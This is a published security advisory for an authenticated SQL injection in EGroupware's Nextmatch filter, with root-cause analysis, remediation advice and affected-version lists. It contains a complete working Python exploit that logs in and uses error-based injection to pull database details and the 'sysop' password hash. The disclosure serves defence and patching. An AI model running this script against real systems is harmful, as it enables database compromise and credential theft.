GHSA-rvxj-7f72-mhrx

Suggest an improvement
Source
https://github.com/advisories/GHSA-rvxj-7f72-mhrx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-rvxj-7f72-mhrx/GHSA-rvxj-7f72-mhrx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-rvxj-7f72-mhrx
Aliases
Published
2026-01-28T20:39:27Z
Modified
2026-01-28T20:49:41.152860Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
EGroupware has SQL Injection in Nextmatch Filter Processing
Details

Summary

Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing

A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the Nextmatch filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the WHERE clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the is_int() security check used by the application.

Details

Root Cause Analysis The vulnerability exists in how the database abstraction layer (Api\Db) and high-level storage classes (Api\Storage\Base, infolog_so) process the col_filter array used in "Nextmatch" widgets.

The application attempts to validate input using is_int($key) to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's json_decode automatically converts numeric string keys (e.g., "0") into native integers.

Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (is_int returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.

Vulnerable Code Locations

  1. File: sources/egroupware/api/src/Db.php (Approx. Line 1776) Method: column_data_implode

    // In function column_data_implode
    elseif (is_int($key) && $use_key===True) {
         if (empty($data)) continue;
         // VULNERABLE: $data is appended directly to SQL without sanitization
         $values[] = $data; 
    }
    
  2. File: sources/egroupware/api/src/Storage/Base.php (Approx. Line 1134) Method: parse_search

    // In function parse_search
    foreach($criteria as $col => $val) {
         // VULNERABLE: is_int() returns true for JSON keys like "0"
         if (is_int($col)) {
             $query[] = $val; 
         }
         // ...
    }
    

PoC

The vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance (demo.egroupware.net).

Automated Exploit Script: The following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection.

import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\']([^"\']+)["\']', match)
        value_m = re.search(r'value=["\']([^"\']*)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"

    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)

        data = extract_form_inputs(r_get.text)

        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })

        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)

        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False

        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)

        match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)

        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"

    print(f"[*] Executing SQLi: {sql}")

    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"

        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }

        try:
            r = session.post(url, json=post_data, timeout=10)

            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)

            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")

                full += chunk
                if len(chunk) < 1: break
            else:
                break

        except Exception as e:
            print(f"[-] Query error: {e}")
            break

    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")

            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

Proof of Verification on demo.egroupware.net:

The script was executed against ther public demo to confirm exploitability in a production-like environment (read-only). <img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />

Impact: Attackers with low-privileged access can fully compromise the database. This allows for: * Confidentiality Loss: Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets). * Integrity Loss: Modifying or deleting arbitrary data within the application. * Availability Loss: Potential to drop tables or corrupt data.

Remediation

1. Input Validation (Whitelisting) Do not rely solely on is_int() for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict whitelist (allowlist) of allowed column names for filtering in Nextmatch widgets. If the key/column is not in the whitelist, reject the request.

2. Parameter Binding Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.

3. Strict Type Checking When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using === for strict comparison or filter_var) before being used in SQL generation logic.

Credits

Reported by Łukasz Rybak

Database specific
{
    "cwe_ids": [
        "CWE-89"
    ],
    "severity": "HIGH",
    "nvd_published_at": "2026-01-28T17:16:15Z",
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-28T20:39:27Z"
}
References

Affected packages

Packagist / egroupware/egroupware

Package

Name
egroupware/egroupware
Purl
pkg:composer/egroupware/egroupware

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
23.1.20260113

Affected versions

14.*

14.2.20150121
14.2.20150206
14.2.20150210
14.2.20150212
14.2.20150218
14.2.20150310
14.2.20150402
14.2.20150421
14.2.20150428
14.2.20150429
14.2.20150501
14.2.20150603
14.2.20150707
14.2.20150717
14.3.20150728
14.3.20150729
14.3.20150811
14.3.20150821
14.3.20150826
14.3.20150908
14.3.20151012
14.3.20151027
14.3.20151028
14.3.20151029
14.3.20151030
14.3.20151110
14.3.20151130
14.3.20151201
14.3.20160112
14.3.20160113
14.3.20160304
14.3.20160428
14.3.20160512
14.3.20160522
14.3.20160524
14.3.20160525
14.3.20160708

16.*

16.1.20160603
16.1.20160621
16.1.20160627
16.1.20160630
16.1.20160708
16.1.20160715
16.1.20160801
16.1.20160810
16.1.20160905
16.1.20161006
16.1.20161102
16.1.20161107
16.1.20161208
16.1.20170118
16.1.20170203
16.1.20170315
16.1.20170415
16.1.20170612
16.1.20170613
16.1.20170703
16.1.20170922
16.1.20171106
16.1.20180116
16.1.20180130

17.*

17.1.20171023
17.1.20171106
17.1.20171115
17.1.20171129
17.1.20171130
17.1.20171218
17.1.20180118
17.1.20180130
17.1.20180209
17.1.20180321
17.1.20180413
17.1.20180523
17.1.20180625
17.1.20180720
17.1.20180831
17.1.20181018
17.1.20181204
17.1.20181205
17.1.20190111
17.1.20190214
17.1.20190222
17.1.20190402
17.1.20190529
17.1.20190808

19.*

19.1.20190716
19.1.20190717
19.1.20190726
19.1.20190806
19.1.20190813
19.1.20190822
19.1.20190917
19.1.20190925
19.1.20191031
19.1.20191119
19.1.20191220
19.1.20200130
19.1.20200318
19.1.20200409
19.1.20200430
19.1.20200605
19.1.20200701

20.*

20.1.20200525
20.1.20200613
20.1.20200628
20.1.20200710
20.1.20200716
20.1.20200728
20.1.20200731
20.1.20200810
20.1.20200812
20.1.20200818
20.1.20200901
20.1.20200914
20.1.20201005
20.1.20201020
20.1.20201028
20.1.20201202
20.1.20201217
20.1.20210125
20.1.20210324
20.1.20210503

21.*

21.1.20210318
21.1.20210329
21.1.20210406
21.1.20210420
21.1.20210504
21.1.20210521
21.1.20210629
21.1.20210723
21.1.20210923
21.1.20211130
21.1.20220207
21.1.20220406
21.1.20220408
21.1.20220905
21.1.20220916
21.1.20221202
21.1.20230210

22.*

22.1.20220920

23.*

23.1.20230110
23.1.20230114
23.1.20230125
23.1.20230210
23.1.20230228
23.1.20230314
23.1.20230328
23.1.20230412
23.1.20230428
23.1.20230503
23.1.20230524
23.1.20230620
23.1.20230726
23.1.20230728
23.1.20230824
23.1.20230911
23.1.20231110
23.1.20231122
23.1.20231129
23.1.20231201
23.1.20231219
23.1.20231220
23.1.20240125
23.1.20240304
23.1.20240430
23.1.20240624
23.1.20240905
23.1.20240930
23.1.20241008
23.1.20241111
23.1.20241128
23.1.20241214
23.1.20250113
23.1.20250307
23.1.20250416
23.1.20250506
23.1.20250715
23.1.20250902
23.1.20251021
23.1.20251119
23.1.20251222
23.1.20260108

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-rvxj-7f72-mhrx/GHSA-rvxj-7f72-mhrx.json"

Packagist / egroupware/egroupware

Package

Name
egroupware/egroupware
Purl
pkg:composer/egroupware/egroupware

Affected ranges

Type
ECOSYSTEM
Events
Introduced
26.0.20251208
Fixed
26.0.20260113

Affected versions

26.*

26.0.20251208
26.0.20251216
26.0.20260108

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-rvxj-7f72-mhrx/GHSA-rvxj-7f72-mhrx.json"